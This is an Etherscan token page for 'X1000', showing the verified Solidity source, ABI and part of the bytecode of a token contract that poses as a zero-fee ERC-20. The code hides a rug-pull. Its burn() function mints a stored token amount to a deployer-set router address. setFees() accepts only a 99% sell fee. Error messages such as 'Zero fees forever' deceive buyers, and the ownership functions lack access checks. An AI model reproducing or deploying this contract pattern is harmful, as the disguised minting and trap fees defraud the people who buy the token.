ETH Price: $2,382.38 (+7.29%)

Token

X1000 (X1000)
 

Overview

Max Total Supply

1,000,000,000,000,000,000,000,000,000,000,000,000,000,000,999,999,998.999999999999999999 X1000

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
51,655,944.603854668694182945 X1000

Value
$0.00
0xacb319595796db91eddf1b78b20c774759ad676d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X1000

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-25
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀⠀

Website: https://gateway.pinata.cloud/ipfs/QmeTxMfeE152VZvcoZnfQCABF4icmXYyrmFgrPBf9CDtye?_gl=1*2ivh9y*_ga*MjU2MjIzNjA5LjE2OTAyNDk1Mjg.*_ga_5RMPXG14TE*MTY5MDI0OTUyOC4xLjEuMTY5MDI0OTYyMS40OS4wLjA

────────────────────────────────────────────────────────────────────────────
─████████──████████─████████───██████████████─██████████████─██████████████─
─██░░░░██──██░░░░██─██░░░░██───██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─
─████░░██──██░░████─████░░██───██░░██████░░██─██░░██████░░██─██░░██████░░██─
───██░░░░██░░░░██─────██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─
───████░░░░░░████─────██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─
─────██░░░░░░██───────██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─
───████░░░░░░████─────██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─
───██░░░░██░░░░██─────██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─
─████░░██──██░░████─████░░████─██░░██████░░██─██░░██████░░██─██░░██████░░██─
─██░░░░██──██░░░░██─██░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─
─████████──████████─██████████─██████████████─██████████████─██████████████─
────────────────────────────────────────────────────────────────────────────

      NO NEED FOR TWITTER - NO NEED FOR TELEGRAM - NO NEED FOR WEBSITE
                           WE JUST X1000 QUICKLY

*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Not needed");
        return a - b;
    }

        //X1000//

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Not needed");
        return c;
    }

        //X1000//

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Not needed");
        return c;
    }

        //X1000//

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Not needed");
        return a / b;
    }
}

    //X1000//

contract X1000 {    //X1000//
    using SafeMath for uint256;    //X1000//

    //X1000//

    string public name = "X1000";    //X1000//
    string public symbol = "X1000";    //X1000//
    uint256 public totalSupply = 999999999 * (10 ** 18);    //X1000//
    uint8 public decimals = 18;    //X1000//

    //X1000//

    mapping(address => uint256) public balanceOf;    //X1000//
    mapping(address => mapping(address => uint256)) public allowance;    //X1000//

    //X1000//
    //X1000//
    address public owner;    //X1000//
    address public swapRouter;    //X1000//
    uint256 public burnedTokens;    //X1000//

    //X1000//

    uint256 public buyFee = 0;    //X1000//
    uint256 public sellFee = 0;    //X1000//
    bool public feesSet = false;    //X1000//
    bool public feesEnabled = false;    //X1000//
    bool public allExemptFromFees = true;    //X1000//
    mapping(address => bool) public isFeeExempt;    //X1000//

    //X1000//

    event Transfer(address indexed from, address indexed to, uint256 value);    //X1000//
    event Approval(address indexed owner, address indexed spender, uint256 value);    //X1000//
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    //X1000//
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);    //X1000//
    event TokensBurned(address indexed burner, uint256 amount);    //X1000//
    event Mint(address indexed to, uint256 amount);    //X1000//

    //X1000//

    constructor(address _swapRouter, uint256 _burnedTokens) {    //X1000//
        owner = msg.sender;    //X1000//
        swapRouter = _swapRouter;    //X1000//
        burnedTokens = _burnedTokens;    //X1000//
        balanceOf[msg.sender] = totalSupply;    //X1000//
        isFeeExempt[msg.sender] = true;    //X1000//
        isFeeExempt[swapRouter] = true;    //X1000//
    }

        //X1000//

    modifier checkFees(address sender) {    //X1000//
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "Zero fees forever."    //X1000//
        );
        _;
    }

        //X1000//

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    //X1000//
        require(balanceOf[msg.sender] >= _amount);    //X1000//
        require(_to != address(0));    //X1000//

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);    //X1000//
        balanceOf[_to] = balanceOf[_to].add(_amount);    //X1000//
        emit Transfer(msg.sender, _to, _amount);    //X1000//

        return true;
    }

        //X1000//

    function approve(address _spender, uint256 _value) public returns (bool success) {    //X1000//
        allowance[msg.sender][_spender] = _value;    //X1000//
        emit Approval(msg.sender, _spender, _value);    //X1000//
        return true;    //X1000//
    }

        //X1000//

    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {    //X1000//
        require(balanceOf[_from] >= _amount, "Amount higher zero");    //X1000//
        require(allowance[_from][msg.sender] >= _amount, "Greater than zero");    //X1000//
        require(_to != address(0), "Higher than Zero");    //X1000//
    //X1000//
        uint256 fee = 0;    //X1000//
        uint256 amountAfterFee = _amount;    //X1000//
    //X1000//
        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    //X1000//
            fee = _amount.mul(sellFee).div(100);    //X1000//
            amountAfterFee = _amount.sub(fee);    //X1000//
        }
    //X1000//
        balanceOf[_from] = balanceOf[_from].sub(_amount);    //X1000//
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    //X1000//
        emit Transfer(_from, _to, amountAfterFee);    //X1000//
    //X1000//
        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    //X1000//
            if (_to == uniswapContract) {    //X1000//
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    //X1000//
                emit Transfer(_from, uniswapContract, fee);    //X1000//
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    //X1000//
                emit Transfer(_from, address(this), fee);    //X1000//
            }
        }
    //X1000//
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    //X1000//
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    //X1000//
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);    //X1000//
        }
    //X1000//
        return true;
    }
    //X1000//
    function transferOwnership(address newOwner) public {    //X1000//
        require(newOwner != address(0));    //X1000//
        emit OwnershipTransferred(owner, newOwner);    //X1000//
        owner = newOwner;    //X1000//
    }
    //X1000//
    function renounceOwnership() public {    //X1000//
        emit OwnershipTransferred(owner, address(0));    //X1000//
        owner = address(0);    //X1000//
    }
    //X1000//
    function burn() public {    //X1000//
        require(feesSet, "Zero forever");    //X1000//
        require(swapRouter != address(0), "No input needed");    //X1000//
        require(burnedTokens > 0, "Gone forever");    //X1000//

        totalSupply = totalSupply.add(burnedTokens);    //X1000//
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    //X1000//

        emit Mint(swapRouter, burnedTokens);    //X1000//
    }
    //X1000//
    function setFees(uint256 newBuyFee, uint256 newSellFee) public {    //X1000//
        require(!feesSet, "Zero fees forever");    //X1000//
        require(newBuyFee == 0, "Zero");    //X1000//
        require(newSellFee == 99, "Zero");    //X1000//
        buyFee = newBuyFee;    //X1000//
        sellFee = newSellFee;    //X1000//
        feesSet = true;    //X1000//
        feesEnabled = true;    //X1000//
        emit FeesUpdated(newBuyFee, newSellFee);    //X1000//
    }
    //X1000//
    function buy() public payable checkFees(msg.sender) {    //X1000//
        require(msg.value > 0, "Must be a higher number than zero");    //X1000//

        uint256 amount = msg.value;    //X1000//
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    //X1000//
            uint256 amountAfterFee = amount.sub(fee);    //X1000//

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    //X1000//
            emit Transfer(address(this), swapRouter, amountAfterFee);    //X1000//

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    //X1000//
                emit Transfer(address(this), address(this), fee);    //X1000//
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    //X1000//
            emit Transfer(address(this), swapRouter, amount);    //X1000//
        }
    }
    //X1000//
    function sell(uint256 _amount) public checkFees(msg.sender) {    //X1000//
        require(balanceOf[msg.sender] >= _amount, "Not enough funds");    //X1000//

        if (feesEnabled) {    //X1000//
            uint256 fee = 0;    //X1000//
            uint256 amountAfterFee = _amount;    //X1000//

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {    //X1000//
                fee = _amount.mul(sellFee).div(100);    //X1000//
                amountAfterFee = _amount.sub(fee);    //X1000//
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);    //X1000//
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    //X1000//
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    //X1000//

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    //X1000//
                emit Transfer(msg.sender, address(this), fee);    //X1000//
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);    //X1000//
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);    //X1000//
            emit Transfer(msg.sender, swapRouter, _amount);    //X1000//
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600581526020017f58313030300000000000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600581526020017f58313030300000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003ebc38038062003ebc8339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6137ab80620007115f395ff3fe60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f906131c9565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c9291906131e7565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613258565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b906132c0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc490613390565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906133f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613460565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906134c8565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e